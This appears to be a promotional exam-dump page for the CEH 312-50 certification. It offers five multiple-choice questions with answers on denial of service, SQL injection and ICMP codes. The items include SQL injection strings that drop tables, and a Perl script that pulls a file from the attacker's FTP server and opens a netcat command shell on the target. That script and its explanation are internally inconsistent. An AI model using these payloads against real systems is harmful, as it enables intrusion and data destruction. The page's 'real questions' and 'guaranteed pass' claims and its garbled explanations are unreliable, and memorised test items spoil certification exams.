312-50Q&As

Ethical Hacker Certified

Pass EC-COUNCIL 312-50 Exam with 100% Guarantee

Free Download Real Questions & Answers **PDF** and **VCE** file from:

https://www.geekcert.com/312-50.html

100% Passing Guarantee
100% Money Back Assurance

Following Questions and Answers are all new published by EC-COUNCIL Official Exam Center

QUESTION 1

Henry is an attacker and wants to gain control of a system and use it to flood a target system with requests, so as to prevent legitimate users from gaining access. What type of attack is Henry using?

A. Henry is executing commands or viewing data outside the intended target path

B. Henry is using a denial of service attack which is a valid threat used by an attacker

C. Henry is taking advantage of an incorrect configuration that leads to access with higher-than- expected privilege

D. Henry uses poorly designed input validation routines to create or alter commands to gain access to unintended data or execute commands

Correct Answer: B

Henry\\'s intention is to perform a DoS attack against his target, possibly a DDoS attack. He uses systems other than his own to perform the attack in order to cover the tracks back to him and to get more "punch" in the DoS attack if he uses multiple systems.

QUESTION 2

Bank of Timbuktu was a medium-sized, regional financial institution in Timbuktu. The bank has deployed a new Internet-accessible Web application recently, using which customers could access their account balances, transfer money between accounts, pay bills and conduct online financial business using a Web browser.

John Stevens was in charge of information security at Bank of Timbuktu. After one month in production, several customers complained about the Internet enabled banking application. Strangely, the account balances of many bank\\'s customers has been changed! However, money hadn\\'t been removed from the bank. Instead, money was transferred between accounts. Given this attack profile, John Stevens reviewed the Web application\\'s logs and found the following entries:

Attempted login of unknown user: John Attempted login of unknown user: sysaR Attempted login of unknown user: sencat Attempted login of unknown user: pete `\\'; Attempted login of unknown user: ` or 1=1-Attempted login of unknown user: `; drop table logins-- Login of user jason, sessionID= 0x75627578626F6F6B Login of user daniel, sessionID= 0x98627579539E13BE Login of user rebecca, sessionID= 0x90627579944CCB811 Login of user mike, sessionID= 0x9062757935FB5C64 Transfer Funds user jason Pay Bill user mike Logout of user mike

What kind of attack did the Hacker attempt to carry out at the bank? (Choose the best answer)

A. The Hacker attempted SQL Injection technique to gain access to a valid bank login ID.

B. The Hacker attempted Session hijacking, in which the Hacker opened an account with the bank, then logged in to receive a session ID, guessed the next ID and took over Jason\\'s session.

C. The Hacker attempted a brute force attack to guess login ID and password using password cracking tools.

D. The Hacker used a random generator module to pass results to the Web server and exploited Web application CGI vulnerability.

Correct Answer: A

The following part:

Attempted login of unknown user: pete `\\';

Attempted login of unknown user: ` or 1=1-Attempted login of unknown user: `; drop table logins-- Clearly shows a hacker trying to perform a SQL injection by bypassing the login with the statement 1=1 and then dumping the logins table.

QUESTION 3

The following script shows a simple SQL injection. The script builds an SQL query by concatenating hard-coded strings together with a string entered by the user:

```
var Shipcity;
ShipCity = Request.form ("ShipCity");
var sql = "select * from OrdersTable where ShipCity = '" + ShipCity + "'";
```

The user is prompted to enter the name of a city on a Web form. If she enters Chicago, the query assembled by the script looks similar to the following:

SELECT * FROM OrdersTable WHERE ShipCity = \\'Chicago\\'

How will you delete the OrdersTable from the database using SQL Injection?

A. Chicago\\'; drop table OrdersTable -

B. Delete table\\'blah\\'; OrdersTable -

C. EXEC; SELECT * OrdersTable > DROP -

D. cmdshell\\'; \\'del c:\sql\mydb\OrdersTable\\' //

Correct Answer: A

QUESTION 4

What does a type 3 code 13 represent?(Choose two.

A. Echo request

B. Destination unreachable

C. Network unreachable

D. Administratively prohibited

E. Port unreachable

F. Time exceeded

Correct Answer: BD

Type 3 code 13 is destination unreachable administratively prohibited. This type of message is typically returned from a device blocking a port.

QUESTION 5

What is the expected result of the following exploit?

```
#################################################################
#########
$port = 53;                    # Spawn cmd.exe on port X
$your = "192.168.1.1";                  # Your FTP Server
$user = "Anonymous";                # login as
$pass = 'noone@nowhere.com';        # password
#####################################################################
$host = $ARGV[0];
print "Starting ...\n";
print "Server will download the file nc.exe from $your FTP server.\n";
system("perl msadc.pl -h $host -C \"echo open $your >sasfile\"");
system("perl msadc.pl -h $host -C \"echo get  hacked.html>>sasfile\"");
system("perl msadc.pl -h $host -C \"echo quit>>sasfile\"");
system("perl msadc.pl -h $host -C \"echo get  hacked.html>>sasfile\"");
system("perl msadc.pl -h $host -C \"echo quit>>sasfile\"");
system("perl msadc.pl -h $host -C \"echo get  hacked.html>>sasfile\"");
system("perl msadc.pl -h $host -C \"echo quit>>sasfile\"");
print "Server is downloading ...\n";
system("perl msadc.pl -h $host -C \"ftp \-s\:sasfile\"");
print "Press ENTER when download is finished ... (That's why it's good to have your
own ftp server)\n";
$o=<STDIN>; print "Opening ...\n";
system("perl msadc.pl -h $host -C \"nc -l -p $port -e cmd.exe\"");
print "Done.\n";
#system("telnet $host $port"); exit(0);
```

A. Opens up a telnet listener that requires no username or password.

B. Create a FTP server with write permissions enabled.

C. Creates a share called "sasfile" on the target system.

D. Creates an account with a user name of Anonymous and a password of noone@nowhere.com.

Correct Answer: A

The script being depicted is in perl (both msadc.pl and the script their using as a wrapper) -- $port, $your, $user, $pass, $host are variables that hold the port # of a DNS server, an IP, username, and FTP password. $host is set to argument variable 0 (which means the string typed directly after the command). Essentially what happens is it connects to an FTP server and downloads nc.exe (the TCP/IP swiss-army knife -- netcat) and uses nc to open a TCP port spawning cmd.exe (cmd.exe is the Win32 DOS shell on NT/2000/2003/XP), cmd.exe when spawned requires NO username or password and has the permissions of the username it is being executed as (probably guest in this instance, although it could be administrator). The #\\'s in the script means the text following is a comment, notice the last line in particular, if the # was removed the script would spawn a connection to itself, the host system it was running on.

312-50 PDF Dumps 312-50 VCE Dumps 312-50 Practice Test